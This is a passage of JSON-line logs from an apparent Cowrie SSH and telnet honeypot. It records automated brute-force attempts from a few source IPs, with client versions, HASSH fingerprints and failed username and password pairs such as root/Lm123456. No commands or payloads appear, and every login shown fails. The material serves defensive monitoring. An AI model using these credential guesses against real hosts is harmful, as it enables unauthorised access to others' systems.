-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:29.489398Z","src_ip":"141.11.88.14","session":"3bc2964552cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"george","password":"george","message":"login attempt [george/george] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:30.289506Z","src_ip":"141.11.88.14","session":"3bc2964552cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:31.392677Z","src_ip":"141.11.88.14","session":"3bc2964552cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36782,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ae7746dbfca","protocol":"ssh","message":"New connection: 141.11.88.14:36782 (10.17.0.5:22) [session: 8ae7746dbfca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:36.233557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:36.365213Z","src_ip":"141.11.88.14","session":"8ae7746dbfca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:36.368109Z","src_ip":"141.11.88.14","session":"8ae7746dbfca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chenxi","password":"123456","message":"login attempt [chenxi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:37.459001Z","src_ip":"141.11.88.14","session":"8ae7746dbfca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:38.799340Z","src_ip":"141.11.88.14","session":"8ae7746dbfca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":55212,"dst_ip":"10.17.0.5","dst_port":22,"session":"1af3f61a0da1","protocol":"ssh","message":"New connection: 141.11.88.14:55212 (10.17.0.5:22) [session: 1af3f61a0da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:42.313849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:42.452032Z","src_ip":"141.11.88.14","session":"1af3f61a0da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:42.458047Z","src_ip":"141.11.88.14","session":"1af3f61a0da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"headscale","password":"123456","message":"login attempt [headscale/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:43.710310Z","src_ip":"141.11.88.14","session":"1af3f61a0da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:44.946514Z","src_ip":"141.11.88.14","session":"1af3f61a0da1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":54956,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b9f39fdf0ed","protocol":"ssh","message":"New connection: 141.11.88.14:54956 (10.17.0.5:22) [session: 6b9f39fdf0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:48.953450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:48.982031Z","src_ip":"141.11.88.14","session":"6b9f39fdf0ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:49.058308Z","src_ip":"141.11.88.14","session":"6b9f39fdf0ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lm123456","message":"login attempt [root/Lm123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:49.431020Z","src_ip":"141.11.88.14","session":"6b9f39fdf0ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:51.225819Z","src_ip":"141.11.88.14","session":"6b9f39fdf0ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":60860,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c046fb8df0e","protocol":"ssh","message":"New connection: 160.191.244.158:60860 (159.203.135.109:22) [session: 6c046fb8df0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:53.150709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:53.155162Z","src_ip":"160.191.244.158","session":"6c046fb8df0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:53.387661Z","src_ip":"160.191.244.158","session":"6c046fb8df0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":55000,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac9bc45efcb9","protocol":"ssh","message":"New connection: 141.11.88.14:55000 (10.17.0.5:22) [session: ac9bc45efcb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:54.225653Z"}
{"eventid":"cowrie.login.failed","username":"arc","password":"123456","message":"login attempt [arc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:54.350573Z","src_ip":"160.191.244.158","session":"6c046fb8df0e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:54.538340Z","src_ip":"141.11.88.14","session":"ac9bc45efcb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:54.544537Z","src_ip":"141.11.88.14","session":"ac9bc45efcb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:55.585589Z","src_ip":"160.191.244.158","session":"6c046fb8df0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345678","message":"login attempt [user3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:56.775817Z","src_ip":"141.11.88.14","session":"ac9bc45efcb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:57.861539Z","src_ip":"141.11.88.14","session":"ac9bc45efcb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":44576,"dst_ip":"10.17.0.5","dst_port":22,"session":"907ebd5c4dd5","protocol":"ssh","message":"New connection: 147.45.211.215:44576 (10.17.0.5:22) [session: 907ebd5c4dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:02.033446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:02.038690Z","src_ip":"147.45.211.215","session":"907ebd5c4dd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:02.241351Z","src_ip":"147.45.211.215","session":"907ebd5c4dd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":31978,"dst_ip":"10.17.0.5","dst_port":22,"session":"38908edb36af","protocol":"ssh","message":"New connection: 141.11.88.14:31978 (10.17.0.5:22) [session: 38908edb36af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:03.332319Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"13071984","message":"login attempt [root/13071984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:03.369015Z","src_ip":"147.45.211.215","session":"907ebd5c4dd5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:03.770209Z","src_ip":"141.11.88.14","session":"38908edb36af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:03.774082Z","src_ip":"141.11.88.14","session":"38908edb36af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:04.599776Z","src_ip":"147.45.211.215","session":"907ebd5c4dd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234567890","message":"login attempt [ubuntu/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:05.526673Z","src_ip":"141.11.88.14","session":"38908edb36af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:06.767886Z","src_ip":"141.11.88.14","session":"38908edb36af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":11866,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac8bd4439272","protocol":"ssh","message":"New connection: 141.11.88.14:11866 (10.17.0.5:22) [session: ac8bd4439272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:10.851759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:10.883318Z","src_ip":"141.11.88.14","session":"ac8bd4439272","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:10.990945Z","src_ip":"141.11.88.14","session":"ac8bd4439272","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jc123456","message":"login attempt [root/Jc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:11.636242Z","src_ip":"141.11.88.14","session":"ac8bd4439272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:12.862273Z","src_ip":"141.11.88.14","session":"ac8bd4439272","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":59082,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9522d79fbc7","protocol":"telnet","message":"New connection: 69.6.249.0:59082 (10.17.0.5:23) [session: b9522d79fbc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:19.460386Z"}
